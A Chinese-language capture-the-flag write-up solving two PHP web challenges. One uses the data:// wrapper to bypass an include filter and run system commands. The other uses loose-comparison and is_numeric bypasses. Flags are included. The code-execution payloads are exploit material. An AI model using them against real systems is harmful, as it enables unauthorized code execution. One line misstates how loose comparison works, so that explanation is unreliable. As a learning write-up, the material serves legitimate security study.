攻防世界-Web题目2(弱比较、php伪协议)
目录
Web_php_include
1、题目
2、知识点
3、思路
simple_php
4、题目
5、知识点
6、思路
Web_php_include
1、题目
2、知识点
php伪协议
3、思路
审计源代码
需要我们上传一个page参数,但是对参数内容进行过滤,
$page=str_replace("php://", "", $page); 意思是将php://替换成空,
看到这个,联想到使用php伪协议,既然这个协议被过滤,那就用其他协议
使用data://协议,
data://text/plain,<?php phpinfo();?>
payload:
/?page=data://text/plain,<?php%20system("ls");?>
?page=data://text/plain,<?php%20system("cat%20fl4gisisish3r3.php");?>
右键查看源代码得到flag
flag:
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
simple_php
4、题目
5、知识点
弱比较,数组绕过
6、思路
审计源代码,需要我们GET上传a,b两个变量,
if($a==0 and $a) 意思是a与0进行弱比较且不等于0,否则条件不成立
弱比较:只比较类型,不比较类型,也就是我们可以使a=字符串,字符串与0进行弱比较时会进行类型转化
payload:?a="sss"
if(is_numeric($b)){ exit(); } 意思是如果b是数字则结束程序
if($b>1234) b需要大于1234
可以采用数组进行绕过,或者数字加字符串的形式
b[]=1234 或者b=2222a
完整payload:?a="sss"&b=2222a
得到payload:Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
这篇文章就先写到这里了,哪里不懂的或者哪里不足的欢迎指出